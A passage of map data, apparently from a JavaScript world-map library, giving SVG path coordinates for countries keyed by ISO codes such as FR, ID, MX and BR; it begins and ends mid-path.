3.23,-0.6 1.57,4 4.41,4.53 1.15,0.24 -1.42,0.91 0.87,2 1.62,0.34 2.62,-0.07 2.39,1.8 0.95,2.4 -3.19,1.99 -4.47,3.19 -3.06,-0.32 -7.13,-0.27 -9.66,0.43 -0.06,1.39 1.22,5.92 -0.89,2.56 -2.2,-0.12 -4.4,1.93 -5.53,-1.03 -0.26,-0.14 -0.88,0.05 -0.95,-0.42 z",FR:"m 320.44,229.09 c 3.5,-2.22 -0.96,-5.61 1.06,-8.23 1.75,-3.18 5.63,1.18 6.32,2.34 0.23,-1.32 1.46,1.48 -0.36,2.69 -1.07,2.79 -2.6,4.03 -5.24,3.39 -0.49,0.72 -1.29,0.16 -1.78,-0.18 z m -17.32,-33.96 c -1.44,-0.36 -0.63,-2.45 0.08,-0.26 z m 192.61,-78.74 c 1.65,-1.47 3.13,-2.32 2.66,0.76 -1.27,4.32 -2.55,0.43 -2.66,-0.76 z m -36.96,-15.9 c 2.7,-0.08 -1.08,-0.93 1.51,-0.72 -4.33,-0.12 3.07,-2.66 4.28,-0.7 1.46,-0.41 2.78,0.1 3.08,-0.51 -0.68,-1.77 -1.57,-3.78 0.78,-2.26 1.39,1.11 5.71,0.69 4,-0.37 2.05,-0.92 4.59,-0.73 4.1,-3.44 2.64,-1.5 4.35,1.69 6.91,1.76 -0.28,2.27 2.31,-0.77 2.15,1.29 2.43,0.75 4.64,1.76 7.05,1.89 3.81,0.08 -0.46,2.1 0.15,4.48 -2.03,-0.09 -2.17,1.61 -4.01,3.03 -0.88,1.88 2.46,-1.44 2.47,1.52 -0.67,0.65 1.58,2.16 -0.98,2.37 1.7,0.78 0.11,3.19 2.93,2.66 -1.77,2.7 -4.67,3.56 -7.34,2.1 0.36,-0.21 -3.5,-0.83 -5.33,0.71 0.58,2.4 -1.63,2.53 -3.83,1.72 -1.61,-1.41 -4.18,-10e-4 -6.48,-0.95 -2.3,-0.72 -3.81,-0.89 -2.1,-3.18 0.98,-2.31 -0.1,-1.94 0.71,-4.33 1.35,0.73 2.04,2.86 0.92,0.27 -2.12,-1.23 -0.46,-0.44 -0.93,-2.5 -1.83,0.71 -4.34,-3.53 -1.71,-2.49 -2.59,-0.07 -1.33,-0.92 -3.27,-0.96 1.23,-0.3 -1.33,0.1 -0.81,-0.41 -0.69,-0.31 -3.16,-0.22 -4.24,-0.98 z",LY:"m 497.92,151.14 c 1.22,-1.02 3.3,-2.31 2.26,-4.45 1.64,-1.36 4.45,-1.74 3.66,-4.37 2.93,1.82 6.41,0.15 9.36,2.05 2,0.86 2.23,4.49 5.53,3.54 3.2,0.07 6.84,5.03 9.01,0.5 -2.33,-4.25 4.21,-6.37 7.31,-4.84 1.14,2.42 5.27,1.09 6.57,3.1 -1.75,2.8 -0.4,6.49 -0.36,9.96 -0.07,7.58 0.05,15.16 -0.06,22.74 -1.18,0.21 -3.56,-0.76 -2.74,1.4 -7.23,-3.84 -14.52,-7.62 -22,-10.94 -2.87,0.55 -5.22,3.4 -7.74,0.43 -3.87,0.51 -4.52,-4.36 -8.24,-3.67 -0.09,-2.15 -4.24,-4.5 -1.19,-6.01 -0.81,-3.08 1.09,-6.77 -1.38,-9.44 z",BY:"m 536.15,88.53 c 2.51,-0.84 2.42,-2.61 0.94,-4.65 2.05,0.38 5.52,-0.77 6.14,-1 -1.65,-1.71 4.41,-2.24 2.21,-3.4 2.47,-1.46 5.19,-2 8.01,-1.21 0.87,0.9 5.84,-0.04 4.08,3.31 1.82,2.07 3.09,2.51 5.12,3.65 -0.7,1.84 -5.16,-0.46 -3.09,2.59 1.51,1.91 -4.05,1.08 -2.99,3.57 -2.54,-1.13 -4.21,-0.29 -6.38,-0.94 -2.85,0.32 -5.9,-1.52 -9.1,-0.89 -1.6,-0.22 -4.73,2.54 -3.66,-0.47 -0.38,-0.29 -0.92,-0.21 -1.27,-0.56 z",PK:"m 640.67,151.64 c 3.95,1.79 8.26,1.07 12.34,0.72 4.22,1.01 1.66,-5.15 5.25,-4.55 2.06,0.2 0.74,-1.54 3.23,-1.54 2.86,1.63 2.24,-2.57 3.79,-3.75 3.59,0.37 -1.34,-3.47 1.89,-2.43 2.95,0.23 1.1,-2.43 3.35,-3.6 -0.01,-1.31 -2.18,-3.16 0.77,-3.47 2.85,-1.65 6.81,-1.33 9.59,-1.23 2.13,0.39 1.58,3.56 3.46,3.2 1.26,1.55 5.23,0.15 1.53,1.71 -1.9,2.5 -5.73,1.36 -8.5,1.33 -1.73,1.51 1.24,1.92 0.04,3.16 -1.34,2.56 5.7,3.16 2.32,4.38 -1.97,1.16 0.04,3.18 -2.52,4.09 -1.14,1.82 -3.07,3.92 -4.92,5.76 -1.17,3.02 -4.19,1.45 -5.74,1.86 -1.69,1.44 -2.62,3.46 0.03,4.04 -0.74,2.43 3,2.59 2.19,5.35 -0.7,0.83 -4.08,0.91 -6.22,0.54 -1.11,2.01 -2.29,1.6 -3.54,0.89 -0.58,-0.52 -0.41,-2.6 -2.23,-2.62 0.82,-1.92 -2.84,-2.17 -0.57,-1.34 -3.12,0.1 -5.6,0.7 -7.75,0.13 -1.6,0.26 -4.51,1.16 -5.62,0.13 -0.69,-4.03 4.36,-2.41 4.62,-5.27 -2.66,0.34 -0.14,-4.03 -3.41,-3.72 -1.62,-0.75 -1.86,-2.85 -3.39,-3.79 z",ID:"m 844.1,252.59 c 0.28,1.08 0.13,-2.98 1.43,-0.99 0.85,2.54 -1.43,2.01 -1.43,0.99 z m -70.2,-19.41 c 0.55,-1.5 1.03,-0.93 0.47,-1.62 1.7,-4.63 2.41,3.7 5.92,1.12 2.7,0.67 3.97,-2.97 6.65,-0.62 2.54,-0.19 3.17,-1.43 4.17,-3.33 0.53,-1.38 1.48,-3.37 2.12,-5.45 2.11,0.1 5.07,0.12 4.94,1.43 1.01,1.31 -2.48,-0.15 -0.69,1.65 -0.18,0.67 2.72,2.27 1.24,3.68 1.07,1.24 5.35,3.79 1.08,3.13 -1.78,-1.04 -2.61,3.94 -1.82,4.68 -0.99,0.36 -2.22,1.17 -2.39,1.26 -1.79,1.91 -0.28,1.88 -0.58,3.73 -1.09,0.57 -0.82,3.52 -4.02,4.03 -2.06,1.1 -1.24,-3.42 -2.78,-1.91 -1.62,1.17 -2.41,-2.34 -3.81,0.19 -1.82,-0.08 -2.62,0.99 -2.68,-1.63 -2.12,1.16 -2.49,0.45 -4.17,0.2 -0.82,-2.04 0.27,-5.83 -2.53,-5.61 1.04,-0.68 -1.46,-1.32 -0.21,-2.52 -0.6,-0.57 -1.28,-1.56 -0.93,-2.41 z m -3.25,9.64 c -1.93,3.7 4.6,0.57 0,0 z m -6.54,-2.36 c -1.17,1.33 2.05,1.13 2.02,3.17 2.09,2.06 2.52,-1.43 0.47,-1.37 -0.4,-3.22 -1.04,-2.02 -2.49,-1.8 z m -6.41,-7.05 c -2.5,-2.43 -1.84,1.04 0,0 z m -14.87,0.47 c 2.59,-1.55 -4.34,-4.6 0,0 z m -0.58,-13.04 c -2.16,1.1 -4.7,-1.74 -6.38,-0.52 0.8,3.59 5,4.51 6.74,7.4 0.7,2.45 4.36,2.68 4.04,6.05 1.16,2.15 3.68,3.94 4.67,6.59 1.11,3.63 4.3,6.14 7.08,8.63 1.57,0.47 4.02,4.81 3.73,2.14 1.72,1.03 1.63,-0.27 3.17,0.77 0.5,-2.69 -0.31,-5.3 0.77,-7.65 -0.83,-1.61 -3.03,-3.22 -4.09,-1.06 1.48,-1.31 -0.14,-3.14 -1.22,-4.66 -2.88,-0.05 -1.81,-2.35 -2,-2.39 2.65,-1.16 -1.22,-2.63 -2.39,-1.04 -0.85,0.26 3.05,-1.4 0.22,-1.54 -1.79,-1.19 -3.08,-3.65 -5.05,-4.24 0.97,2.75 -2.27,-2.24 -2.25,-1.11 -0.91,-2.81 -5,-3.14 -5.7,-6.04 -0.29,-0.58 -0.86,-0.92 -1.34,-1.33 z m 94.76,34.81 c -2.37,1.03 -0.94,4.18 0.01,0.75 -0.25,-0.4 0.73,-0.48 -0.01,-0.75 z m -16.26,2.53 c 1.92,0.08 3.88,-1.52 0.8,-0.88 -0.51,-0.19 -0.78,0.52 -0.8,0.88 z m -3.62,0.33 c -1.7,1.62 3.67,0.44 0.84,0.12 l -0.42,-0.08 z m -2.98,0.4 c -1.36,2.21 2.94,-1.13 0.38,0.28 0.21,-0.23 -0.21,-0.46 -0.38,-0.28 z m -9.47,1.52 c 2.72,0.11 5.82,0.66 7.79,-1.08 1.07,-2.18 -0.65,1.4 -2.62,0.11 -1.61,0.69 -5.33,-2.08 -5.54,0.96 l 0.15,0.13 z m -2.95,2.04 c 1.18,0.19 5.35,3.62 4.82,0.86 -1.41,-1.2 -3.09,-1.98 -4.82,-0.86 z m -2.85,-1.73 c 1.18,-1.38 2.5,0.46 2.65,-0.56 2.04,-0.15 -0.51,-1.28 -0.71,-1.21 -0.94,0 -3.71,-1.15 -1.29,0.64 0.46,1.44 -4.5,-1.9 -3.7,1.37 0.95,0.64 2.05,-0.35 3.06,-0.24 z m -4.33,-1.99 c -1.7,1.09 -1.19,2.65 0.49,1.64 0.52,-0.83 0.94,-1.71 -0.49,-1.64 z m -5.16,-0.35 c 1.23,1.07 1.75,2.98 3.21,1.1 0.5,-2.05 -2.43,-0.3 -3.21,-1.1 z m -4.26,-3.37 c -2.23,2.03 6.23,-0.05 1.48,-0.02 -0.49,-0.01 -0.99,-0.1 -1.48,0.02 z m -17.24,-2.34 c -2.16,-1.59 -3.86,2.62 -3.51,2.14 3.4,-0.5 2.28,2.56 5.73,2.02 3.28,0.83 6.78,0.67 10.2,1.96 3.01,0.08 7.42,0.77 9.28,1.2 -0.36,-1.74 -0.25,-3.59 -2.97,-2.58 -2.68,-0.14 -1.7,-3.15 -4.88,-2.73 -1.48,-0.51 -2.83,-1.36 -3.81,0.5 -3.04,0.39 -4.71,-1.18 -6.93,-2.09 -1.3,-0.08 -1.96,-1.08 -3.1,-0.43 z m 46.68,11.07 c -0.68,2.23 3.93,-0.11 4.33,-1.86 0.55,-2.56 -2.33,0.27 -2.46,0.44 -1.17,-0.63 -1.28,0.52 -1.88,1.42 z m 19.83,-26.89 c 0.96,-0.2 -1.01,-1.41 0.79,-0.29 2.41,-1.1 -4.14,-0.71 -1.17,0.04 l 0.24,-0.12 z m -1.92,4.45 c 2.66,0.34 -0.48,-2.04 -0.41,-0.14 z m -0.02,4.1 c 2.13,1.84 3.14,0.23 1.08,-1.3 -2.01,-0.19 -6.73,-1.71 -6.8,1.46 0.13,-2.06 2.17,0.07 2.86,-0.49 1.1,0.73 2.05,-0.7 2.86,0.33 z m -6.51,-9.78 c -0.04,1.56 3.12,3.66 1.01,0.99 -2.27,-3.46 2.38,-1.26 1.92,-2.11 -3.14,-0.41 2.08,-3.57 -0.99,-3.05 -0.12,0.95 -3.06,2.86 -1.18,0.71 0.36,-1.5 0.16,-4.13 -1.02,-1.09 -0.89,1.52 0.52,2.99 0.25,4.55 z m -0.53,4.05 c -0.8,1.66 3.89,0.54 0.65,-0.16 h -0.31 z m 0.13,-3.16 c -1.86,0.54 2.01,2.75 0.39,0.39 l -0.11,-0.15 z m -2.29,9.9 c 4.74,-0.87 -3.2,-3.92 -1.39,-0.73 0.41,0.34 0.92,0.5 1.39,0.73 z m -6.26,-6.11 c -0.8,2.07 4.64,-0.11 1.11,0.16 l -0.62,-0.15 z m -3.27,-0.05 c 1.79,-0.81 -1.37,-2.18 -1.02,-0.14 1.05,-1.09 0.3,-0.5 1.02,0.14 z m -0.52,7.77 c -1.92,1.21 -1.02,5.26 0.11,2.25 -1.83,-0.61 1.19,-1.26 -0.11,-2.25 z m -1.48,2.9 c 1.73,-3.14 -1.78,-1.56 -0.22,-0.2 l 0.06,-0.18 z m -8.79,-0.75 c -0.46,2.31 4.29,1.43 2.53,-0.51 1.29,-2.09 -1.63,-7.27 2.21,-6.28 -0.53,1.72 -0.32,3.05 1.43,3.94 -1.14,1.89 1.48,2.61 1.8,0.87 2.98,0 1.1,-1.2 0.14,-2.61 1.21,-1.12 -1.82,-3.54 -2.58,-4.95 2.21,0.86 4.01,-3.08 5.78,-2.6 -0.09,-1.6 -2.38,-0.18 -1.96,-0.29 -2.28,0.21 -3.49,0.41 -5.06,1.85 -3,-0.9 -3.37,-6.82 0.98,-5.19 3.28,-1.16 7.69,2.35 9.98,-1.5 2.41,-2.9 -0.75,-1.66 -1.84,0.03 -3.07,0.67 -6.23,-0.21 -9.11,-1.01 -1.06,1.59 -3.12,1.29 -3.23,3.95 -0.71,-0.41 1.08,2.83 -0.42,2.18 -0.21,2.8 -2.89,4.96 -1.82,7.66 2.5,-1.68 2.02,3.47 1.17,4.47 z m -63.9,-21.23 c 1.46,-0.3 -3.53,-2.47 -0.65,-0.5 l 0.38,0.19 z m 96.92,9.51 c 1.18,-1.98 4.71,-1.91 6.93,-0.68 2.5,0.02 0.1,5.72 2,5.35 0.45,-1.2 1.5,4.18 3.35,1.35 1.75,-2.47 3.53,-3.07 5.68,-4.58 2.94,0.89 5.63,2.49 8.67,3.03 0.6,2.99 0.4,7.71 -0.01,11.23 0.48,1.8 0.85,6.39 -0.18,6.81 -1.4,-2.86 -3.85,-2.48 -5.38,-2.53 1.09,-1.45 -0.76,-2.94 0.76,-2.52 -1.89,-0.05 -1.63,-1.63 0.12,-0.65 -2.37,-0.6 -2.13,-3.71 -3.2,-4 -1.28,-1.43 -5.02,-2.77 -7.57,-3.05 -2.1,-0.01 -1.41,-1.84 -1.44,-1.56 -1.47,0.45 -3.78,-0.48 -2.6,-2.4 -0.46,-0.51 -1.7,5.09 -3.09,1.82 1.88,-1.26 -4.51,-3.14 -0.21,-2.72 2.01,-1.5 2.99,0.56 3.52,-1.18 0.19,-1.16 -4.95,0.93 -5.48,-1.23 0.65,-1.76 -2.77,-0.49 -2.4,-1.85 z m 17.69,20.64 c 1.89,1.91 6.05,-3.52 1.68,-2.47 -1.02,0.41 -1.3,1.56 -1.68,2.47 z m -5.92,-18.96 c 0.85,1.34 6.01,0.49 1.74,0.18 -0.58,-0.06 -1.16,-0.13 -1.74,-0.18 z",YE:"m 619.35,188.7 c -1.65,-1.63 -1.51,-5.17 -3.76,-6.5 -3.5,0.77 -7.67,0.07 -10.51,2.66 -1.04,1.42 -2.24,4.24 -3.93,2.02 -3.11,0.26 -7.42,-1.26 -9.6,0.49 -0.06,1.62 -1.53,3.91 -1.31,5.28 1.62,1.29 0.77,6.66 3.08,7.25 3.29,1.04 4.59,-2.58 7.98,-2.06 4,-1.07 6.96,-3.4 10.98,-4.53 2.43,-0.43 4.63,-1.26 4.89,-3.69 0.67,-0.45 1.49,-0.49 2.17,-0.91 z m 1.62,12.3 c 6.67,-0.85 -4.22,-1.91 0,0 z",MG:"m 591.79,297.71 c 1.2,2.82 0.97,7.37 2.95,8.73 2.79,1.88 7.92,0.75 8.65,-2.85 1.29,-3.83 2.44,-7.72 3.73,-11.54 1.42,-3.12 1.53,-7.02 3.01,-9.95 -0.6,-1.37 -0.73,-4.62 0.82,-1.66 1.9,-2.04 -0.38,-5.85 -0.85,-8.49 -0.87,-0.29 -1.43,-3.51 -1.9,-1.92 -1.27,0.91 -0.45,3.18 -2.27,4.06 -0.19,0.19 -1.97,-1.07 -0.92,0.84 -0.11,0.93 -1.26,1.18 -0.04,2.22 -0.91,-0.83 -1.7,1.65 -1.62,-0.1 -1.26,1.44 -0.18,2.8 -1.67,1.53 -1.92,1.31 -0.6,1.96 -2.14,1.61 -1.5,0.4 -3.11,0.31 -4.4,1.58 -1.71,2.75 -1.33,5.74 0.02,8.72 0.17,2.82 -2.6,4.67 -3.36,7.2 z",BO:"m 278.97,266.42 c 2.55,0.92 4,-0.24 6.07,-1.58 1.83,-1.59 7.41,-3.49 5.45,0.89 -0.13,2.3 1.75,4.96 4.28,5.04 2.75,0.15 4.61,3.2 7.62,2.87 3.23,0.65 1.54,4.44 2.41,5.56 -0.88,4.62 6.82,0.07 5.04,4.31 2.5,1.45 2.99,4.61 1.14,7.11 1.18,3.96 -2.48,-2.62 -5.16,-0.73 -4.44,-0.31 -7.07,2.7 -7.15,6.88 -0.06,2.22 -5.32,-1.01 -5.13,3.18 -0.31,-2.5 -4.81,-2.91 -5.54,-2.31 -1.52,1.17 -4.75,4.3 -4.51,0.3 -0.15,-2.22 -2.81,-4.42 -1.84,-6.01 0.49,-2.31 -1.73,-4.83 -2.44,-7.31 -1.14,-1.06 3.63,-3.14 0.56,-3.99 -0.32,-3.06 1.21,-5.67 1.05,-9.02 1.58,-1.37 -1.62,-3.65 -1.83,-5.21 z",CI:"m 448.04,217.31 c 1.43,-1.6 0.22,-2.8 1.35,-3.91 0.59,-0.67 -1.34,-2.42 1.31,-1.34 -0.95,-1.89 -0.32,-2.29 -1.43,-4.1 0.82,-2.97 3.97,0.01 4.46,-2.12 1.36,-0.64 0.77,1.88 2.83,0.49 1.82,1.17 2.93,3.02 5.18,1.42 2.95,-0.26 4.17,4.14 1.97,6.31 -2.43,2.51 1.76,6.79 -0.06,7.18 -0.54,-0.78 -3.11,0.31 -2.31,-0.69 -0.76,0.31 -4.38,0.61 -1,0.18 1.23,0.64 -5.22,0.11 -2.31,0.45 -3.1,-0.38 -9.05,4.8 -6.65,-1.41 -0.79,-1.62 -2.12,-1.85 -3.34,-2.47 z",DZ:"m 447.83,158.87 c -1.42,-4.06 2.69,-6.52 5.93,-6.61 2.69,-0.8 5.76,-2.94 8.06,-4.1 -1.83,-1.76 2.54,-2.76 4.09,-2.99 3.3,1.15 3.26,-1.18 1.37,-3.08 0.44,-1.92 -0.86,-4.75 -0.94,-5.19 2.13,-1.53 4.57,-1.62 6.46,-3.05 3.12,-1.42 6.64,-1.21 9.8,-1.92 2.76,0.4 5.39,0.34 7.65,-0.34 1.96,-0.05 4.13,0.03 5.43,0.53 -2.12,1.45 1,6.38 -2.98,7.8 0.47,3.54 5.03,4.58 5.13,8.4 0.23,3.1 1.52,5.64 1.57,9.07 -0.83,1.67 0.58,3.63 -1.37,4.66 1.84,2.02 1.64,5.46 5.08,5.02 4.96,2.86 -2.46,4.34 -4.43,6.15 -3.83,2.19 -7.47,4.71 -10.7,7.7 -2.4,-0.07 -8.29,3.34 -7.19,-1.03 -2.48,-1.01 -5.22,-1.52 -6.15,-4 -6.84,-4.13 -13.22,-9.02 -20.11,-13.09 -2.21,-1.35 -4.46,-2.64 -6.71,-3.93 z",CH:"m 488.45,105.83 c 1.29,-2.14 2.66,-4.1 4.76,-4 2.28,0.2 3.51,-1.55 5.32,0.74 -0.98,1.45 4.27,0.74 1.85,1.94 -0.53,1.03 -1.24,0.84 -2.77,0.41 -0.61,3.86 -2.74,-1.95 -3.77,1.37 -3.11,1.46 -2.84,-3 -5.4,-0.46 z",CM:"m 495.72,222.09 c 0.47,-3.22 3.41,-5.46 5.57,-6.53 1.27,2.08 2.15,2.36 3.29,0.26 0.18,-2.57 2.73,-4.33 2.93,-6.51 2.19,-1.52 1.75,-5.62 4.98,-6.24 1.08,-1.83 -3.37,-3.4 -0.72,-4.23 3.2,2.1 0.52,6.67 3.61,8.69 -2.26,-0.37 -6.76,0.32 -3.01,2.82 3.73,1.91 2.38,5.81 -0.14,7.91 -0.42,2.53 1.22,5.29 2.32,7.46 2.54,0.81 3.26,6.86 -0.01,4.31 -3.04,-0.52 -5.92,-0.7 -9.02,-0.83 -1.81,-0.39 -6.9,2.06 -6.2,-1.63 -0.19,-1.82 -0.76,-2.84 -0.86,-3.33 -1,1.33 -2.12,-2.49 -2.94,-1.55 z",MK:"m 528.66,118.73 c 0.72,-2.03 2.99,-1.79 4.92,-2.22 2.81,0.77 2.27,4.33 -0.81,3.59 -1.58,0.85 -4.12,1.04 -4.1,-1.37 z",BW:"m 527.36,305.27 c 0.81,-2.27 -1.87,-8.12 1.68,-7.74 2.46,-1.12 0.37,-6.2 1.08,-8.87 -0.38,-2.72 4.82,-1.97 6.6,-2.11 1.16,2.25 5.11,-3.32 6.09,0.9 1.25,4.17 6.02,4.42 6.41,8.27 1.43,1.11 5.97,1.59 2.48,3.25 -3.21,0.74 -4.64,4.07 -6.95,6.05 -2.13,0.14 -1.28,4.09 -4.34,3.16 -2.45,-0.7 -5.26,-2.69 -6.1,1.11 -1.71,2.37 -6.82,3.13 -4.88,-1.17 -0.38,-1.17 -1.04,-2.17 -2.09,-2.86 z",UA:"m 533.33,99.45 c 0.38,-2.42 2.62,-0.95 1.55,-3.19 1.51,-2.24 5.9,-2.87 2.56,-5.17 1.24,-1.88 5.76,-1.8 8.43,-1.21 2.08,0.47 4.68,1.02 6.24,0.62 1.37,0.15 3.91,1.05 4.74,0.38 0.25,-3 4.8,-1.41 6.48,-2.35 2.03,-0.95 4.88,1.12 3.49,2.26 0.42,1.56 4.07,0.15 3.62,3.02 2.25,0.9 4.97,-0.87 6.7,1.19 1.53,0.31 6.03,0.27 5.9,2.18 -1.87,0.91 0.64,0.9 -1.06,1.74 3.11,2.67 -4.06,1.43 -3.8,3.68 -2.7,1.82 -6.53,0.96 -9.21,3.43 2.58,-2.32 -2.41,0.17 0.41,1.46 1.07,1.21 5.82,-0.36 2.73,1.55 -2.21,-1.2 -6.6,3.05 -7.27,0.97 1.25,-2.46 -5.49,-1.56 -0.98,-2.96 4.95,-1.59 -4.78,-0.76 -3.46,-2.07 -3.23,-0.26 4.67,-0.42 0.65,-0.42 -1.37,-1.95 0.32,-0.22 -1.65,-0.07 -0.22,-1.27 -3.13,2.33 -3.62,0.72 0.24,0.25 0.69,1.87 -1.3,2.11 1.92,-1.05 -1.71,-0.2 -0.1,0.98 -0.61,-0.67 -6.41,0.78 -2.76,-1.71 0.93,-2.27 1.5,-1.55 3.85,-1.53 -0.18,-1.02 -2.58,-1.29 -1.6,-2.59 -0.99,-1.59 -2.48,-2.46 -4.37,-2.61 -2.58,-1.71 -4.68,1.24 -7.34,0.98 -2.41,0.31 -5.68,-0.1 -7.92,-0.87 -0.4,-0.01 -0.51,-0.49 -0.9,-0.53 z",KE:"m 565.98,238.45 c -1.07,-3.74 2.54,-5.6 3.18,-8.69 -1.15,-1.8 -1.5,-4.12 -2.68,-5.32 0.29,-3.5 6.28,-1.26 8.65,-0.77 2.74,2.44 6.51,2.92 8.94,0.29 1.02,-0.16 4,0.51 3.69,0.99 -3.5,3.08 -1.82,7.92 -2.24,12.02 0.81,1.63 2.52,4.78 -0.33,4.2 0.79,1.52 -2.38,1.75 -2.35,3.92 -0.94,2.23 -1.95,5.44 -4.46,2.07 -2.59,-1.71 -2.38,-4.35 -6.03,-5.25 -2.2,-0.99 -4.16,-2.68 -6.39,-3.46 z",TW:"m 805.03,169.47 c -0.48,1.96 2.33,6.52 2.74,2.31 0.92,-1.65 3.91,-7.83 0.29,-6.84 -1.39,1.01 -2.44,2.92 -3.04,4.53 z",JO:"m 568.85,153.04 c 0.91,-3.06 1.42,-6.72 2.23,-9.42 2.89,2.96 6.55,-2.17 8.62,-1.24 2.67,3.53 -1.78,4.19 -4.98,4.69 0.47,0.91 3.25,2.52 2.05,2.92 -1.97,1.51 -4.82,4.48 -7.93,3.06 z",MX:"m 146.91,144.12 c 4.03,-0.61 6.19,-0.66 9.33,0.98 3.78,0.9 7.36,3.02 11.36,2.39 1.8,-0.09 4,0.57 4.58,-1.3 3.87,-0.71 7.78,1.72 9.43,5.05 1.12,2.54 5,3.88 6,0.6 4.48,-1.37 5.43,4.11 8.08,6.22 0.1,3.47 3.3,3.99 5.99,4.78 1.66,0.21 -1.86,4.93 -0.82,6.79 -1.12,2.04 1,5.79 0.91,5.71 -2.07,-3.94 0.48,2.62 1.93,3.59 1.77,1.76 2.02,5.25 2.55,3.87 2.27,0.76 5.91,2.4 5.97,1.14 2.66,-0.29 4.19,-1.31 5.88,-0.17 1.6,-1.88 -1.16,-0.68 1.42,-1.96 2.46,-2.61 0.26,-6.77 5.15,-6.31 3.48,-0.81 3.86,-0.36 6.33,-0.19 0.26,2.44 -2.58,4.46 -2.14,5.95 0.62,0.64 -0.9,4.29 -1.51,1.72 -1.52,1.82 -2.49,2.76 -4.99,2.52 -1.62,-0.04 -3.27,-0.35 -3.18,1.62 -2.43,-0.32 5.21,3.74 0.25,3.3 -3.93,-1.31 -2.58,6.77 -4.69,2.76 -0.69,-1.06 -6.52,-4.51 -3.45,-2.55 -3.28,-1.38 -1.63,-0.96 -5.09,0.37 -3.83,1.6 -7.15,-1.96 -10.81,-2.44 -3.76,-1.96 -7.39,-3.38 -11.04,-5.17 -1.44,-1.39 -7.37,-3.65 -4.34,-5.73 -1.08,-0.83 1.2,-2.68 -1.02,-3.9 -0.19,-2.82 -5.05,-6.01 -5.47,-6.73 -0.63,-1.05 -3.04,-3.19 -3.99,-3.34 -1.06,0.21 -1.42,-1.5 -0.43,-2.24 -0.91,-1.2 -4.58,-1.95 -3.82,-4.15 -2.28,0.08 -4.27,-2.95 -5.37,-4.94 -1.41,-2.21 -1.42,-5.35 -4.29,-5.46 -1.79,0.17 -3.23,-2.4 -2.32,0.28 -0.23,3.69 3.17,5.75 4.96,8.27 0.78,1.45 3.2,4.8 3.49,5.02 0.49,-0.56 2.41,4.15 3.06,5.6 0.06,2.72 2.23,0.16 2.89,3 2.19,1.7 -2.08,2.99 -1.92,0.26 -2.75,-2.57 -6,-2.84 -5.08,-6.62 -1.52,-0.71 -2.61,-3.46 -3.45,-2.34 -1.97,-0.2 -6.6,-4.19 -2.34,-2.76 1.72,1.22 0.86,-0.5 0.25,-0.24 1.51,-2.83 -4.23,-4.37 -4.82,-7.38 -1.2,-1.22 -1.91,-4 -3.41,-5.63 z",AE:"m 614.9,167.34 c 1.12,1.33 4.68,0.15 7.22,0.3 0.84,-0.73 3.89,-4.15 5.57,-5.23 0.32,1.15 1.11,4.3 -0.84,3.09 -0.43,1.59 0.57,2.62 -0.88,3.06 -0.36,3.02 -1.96,4.08 -4.92,2.93 -3.16,0.32 -4.78,-1.53 -6.14,-4.15 z",BZ:"m 224.45,190.94 c 0.24,-3.09 -0.56,-6.25 2.53,-7.3 0.29,1.75 0.85,5.64 -1.6,6.97 l -0.06,0.33 z",BR:"m 266.7,256.8 c 1.46,-2.11 2.75,-3.84 3.14,-6.74 2.29,-1.46 5.6,-3.35 7.84,-2.31 0.57,-3.26 2.17,-6.93 1.28,-10.19 -1.94,-1.19 -1.76,-4.64 1.04,-3.76 0.18,-1.73 -3.3,-0.97 -1.54,-3.06 3.03,0.03 4.52,0.14 6.33,-1.04 1,1.65 1.4,3.9 4.06,3.71 1.53,-1.52 1.23,1.67 2.51,-0.87 2.04,-0.84 3.65,-2.08 4.62,-3.66 -2.79,0.11 -1.74,-4.02 -3.65,-5.3 1.71,0.49 4.48,1.94 5.53,1.46 0.52,-2 6.46,-0.98 5.62,-4.04 2.95,-1.06 1.23,2.16 2.82,2.76 -0.07,2.41 -1.85,6.71 1.73,8.09 1.93,0.81 3.93,-2.13 6.16,-1.54 2.09,0.09 2.63,0.19 2.43,-1.56 2.53,-1.05 4.4,1.51 6.59,0.45 3.41,1.99 3.65,-5.35 6.01,-4.79 -0.54,-2.73 1.11,2 1,0.3 0.25,3.01 0.78,5.59 3.32,6.7 -0.09,1.92 -4.17,4.12 -5.06,7.04 -0.34,1.56 -4.33,1.35 -1.45,1.78 1.67,0.03 4.62,-3.81 4.25,0.41 1.46,1.61 4.74,-1.62 3.38,1.58 -0.5,0.81 2.36,-3.23 2.79,-2.35 1.43,-0.16 -0.83,0.06 0.54,-1.23 1.18,-1.57 2.7,-1.1 3.66,-0.82 0.73,0.05 1.03,0.82 2.11,0.83 1.07,0.67 2.48,0.63 2.32,1.38 0.78,-0.13 1.62,-0.15 1.87,0.67 1.16,0.13 -1.26,2.24 0.79,1.18 -0.69,1.26 -1.58,4.64 0.01,1.46 1.86,-2.63 -0.55,1.94 1.3,-0.46 1.59,-1.38 4.26,0.93 5.97,0.64 2.74,0.42 6.44,-0.33 8.95,2.53 2.13,3.18 5.69,3.83 8.9,4.58 1.09,3.16 1.62,4.91 1.4,7.38 -0.38,3.15 -2.76,4.44 -3.38,6.11 -2.21,1.74 -3.17,2.31 -3.54,3.19 -0.25,0.79 -2.34,6.81 -3.79,3.74 -0.42,1.14 -1.31,3 -0.85,3.69 -0.01,1.34 0.72,6.53 -0.56,9.43 -0.34,2.2 -1.91,4.24 -1.69,6.7 -1.24,2.13 -3.31,3.79 -3.37,6.7 -2.84,0.59 -2.01,3.47 -5.06,2.71 -1.22,-1.53 -0.6,0.65 -3.13,0.33 2.75,-0.82 -3.29,-0.52 -1.79,0.67 -1.69,0.79 -3.67,1.71 -4.9,1.86 -3.43,1.46 -4.25,4.41 -6.41,3.93 1.76,0.96 -0.49,1.07 0.3,2.05 -0.9,0.64 0.67,3.24 0.07,4.84 -0.26,2.68 -4.11,4.03 -5.09,7.86 -0.66,2.16 -7.08,5.51 -3.13,2.81 1.27,-0.99 4.21,-4.65 1.47,-3.73 -1.31,-1.93 -0.07,1.79 -0.93,1.26 -1.83,1.86 -2.32,3.24 -2.93,5.11 0.04,2.12 -4.51,4.63 -2.66,1.15 0.95,-2.58 -4.38,-3.84 -5.93,-5.87 -1.77,1.23 -2.88,-3.55 -5.59,-1.85 1.22,-1.65 4.21,-4.54 5.22,-5.85 2.71,-1.71 7.57,-3.48 4.51,-7.29 -3.94,1.35 1.69,-5.48 -2.17,-4.73 -3,1.6 -1.94,-7 -4.92,-4.41 -2.28,0.5 -5.22,-0.81 -3.49,-3.69 -0.95,-1.92 -0.41,-2.95 -0.14,-4.92 1.86,-2.56 0.16,-4.82 -1.6,-6.55 1.79,-3.82 -6.05,0.49 -4.98,-4.03 -0.75,-1.12 0.85,-5.38 -2.7,-5.56 -2.5,0.22 -4.23,-2.13 